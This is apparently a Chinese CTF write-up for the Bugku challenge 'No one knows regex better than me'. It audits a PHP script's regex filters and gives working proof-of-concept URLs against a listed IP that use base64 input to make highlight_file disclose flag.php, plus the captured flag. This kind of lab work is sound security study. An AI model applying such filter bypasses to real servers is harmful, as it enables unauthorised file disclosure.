题目描述
题目截图如下:
进入场景看看:
解题思路
- 看到此类题目,直接代码审计
相关工具
解题步骤
- 代码审计
php
<?php
error_reporting(0);
# 从请求中获取了两个参数:'zero'和'first',然后,代码将这两个参数拼接在一起并赋值给变量$second。
$zero=$_REQUEST['zero'];
$first=$_REQUEST['first'];
$second=$zero.$first;
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second)){ # 代码使用正则表达式检查$second变量中是否包含字符串"Yeedo"、"wants"、"a"、"girl"、"friend"、"or"、"a"、"flag"
$key=$second; # 如果匹配成功,则将$key变量设置为$second的值。
if(preg_match("/\.\.|flag/",$key)){ # 代码使用正则表达式检查$key变量是否包含".."或"flag"字符串。
die("Noooood hacker!"); # 如果匹配成功,则输出"Noooood hacker!"并停止脚本的执行。
}else{
$third=$first; # 如果不成功,代码则将$first变量赋值给$third。所以$key不能有flag和..。
if(preg_match("/\\|\056\160\150\x70/i",$third)){ # 代码使用正则表达式检查$third变量是否包含"|\056\160\150\x70"(即"|.php")字符串。
# 如果匹配成功,则从$third字符串的第5个字符开始截取,并将结果赋值给$end变量。
$end=substr($third,5);
highlight_file(base64_decode($zero).$end); //maybe flag in flag.php
# 代码调用highlight_file()函数来展示源代码文件。
# $zero变量经过base64解码后的字符串与$end变量拼接后得到的字符串就是会展示的源代码文件。
}
}
}
else{
# 如果以上的匹配条件都不满足,则会展示当前文件的源代码。
highlight_file(__FILE__);
}
简单解释就是:
请求获取2个参数:zero和first,并将其拼接起来作为second变量,也就是
/?zero=&first=second
,拼接后的参数赋值使用正则来约束:
- 要匹配字符串"Yeedo"、"wants"、"a"、"girl"、"friend"、"or"、"a"、"flag"中的字符
php
if(preg_match_all("/Yeedo|wants|a|girl|friend|or|a|flag/i",$second))
- 不能有flag和..
php
if(preg_match("/\.\.|flag/",$key))
- 对于first参数来说,要包含("|.php")字符串,first参数字符的形式是xxxx|.php(因为从第5个字符截取),而xxxx必须得是字符串"Yeedo"、"wants"、"a"、"girl"、"friend"、"or"、"a"、"flag"中的字符,所以可能是aaaa、oror、girl三种可能,也就是:
aaaa|.php、oror|php、girl|php
。 - 因为从第5个字符截取,所以aaaa、oror、girl这些字符到时候是被截取掉的。
php
if(preg_match("/\\|\056\160\150\x70/i",$third))
$end=substr($third,5);
- zero参数需要进行base64解密,说明它在请求中是加密输入
php
base64_decode($zero)
现在问题是zero参数到底是什么?
这里有一行注释://maybe flag in flag.php,提示zero就是flag。flag base64加密后就是ZmxhZw==
PS:要是没有提示flag.php,你会想到zero就是flag吗?
所以可以得到poc:
php
http://114.67.175.224:11016/?zero=ZmxhZw==&first=girl|.php
http://114.67.175.224:11016/?zero=ZmxhZw==&first=aaaa|.php
http://114.67.175.224:11016/?zero=ZmxhZw==&first=oror|.php
得到Flag
php
flag{77b1d2cf7c7e1efca26cd60fbcbef5f6}
新知识点
- preg_match_all() 函数:用于在字符串中搜索匹配的模式,返回所有匹配项。
php
preg_match_all(pattern, subject, matches)
参数说明:
用于在字符串中搜索匹配的模式,返回所有匹配项。
pattern:正则表达式模式。
subject:要搜索的字符串。
matches:用于存储所有匹配结果的数组。
- substr() 函数:返回字符串的一部分。
- 正则表达式学习:https://regex101.com/
php
/Yeedo|wants|a|girl|friend|or|a|flag/i
解释如下:
/ 表示正则表达式的开始和结束。
匹配Yeedo、wants、a、girl、friend、flag字符
| 表示逻辑或,用于匹配其中任意一项。
i 标记表示不区分大小写。
php
/\.\.|flag/
解释如下:
- \. 匹配点号(.)
- | 表示逻辑或,用于匹配其中任意一项。
flag:表示要精确匹配的字符串 "flag"。
这个正则表达式的含义是:匹配一个(..)或者精确匹配的字符串 "flag"。
php
/\\|\056\160\150\x70/i
解释如下:
- \\:表示匹配一个反斜杠字符\。
后面加上一个|,也就是\|
,表示|
也是需要匹配的符号。和逻辑或的区别在于,看前面有没有两个反斜杠\\
- \056\160\150\x70:表示匹配特定的字符序列。在这里,\056 表示八进制ASCII码表示的小数点(.),\160\150\x70 表示八进制ASCII码表示的 PHP,这样组合在一起,就匹配了字符串 ".php"。
这个正则表达式的含义是:匹配一个|.php
,忽略大小写。
参考链接
- [WP-Bugku积累-正则bypasss] No one knows regex better than me
- CTFer成长日记5:BugKu-No one knows regex better than me
有用的话,请
点赞收藏评论
,帮助更多的同学哦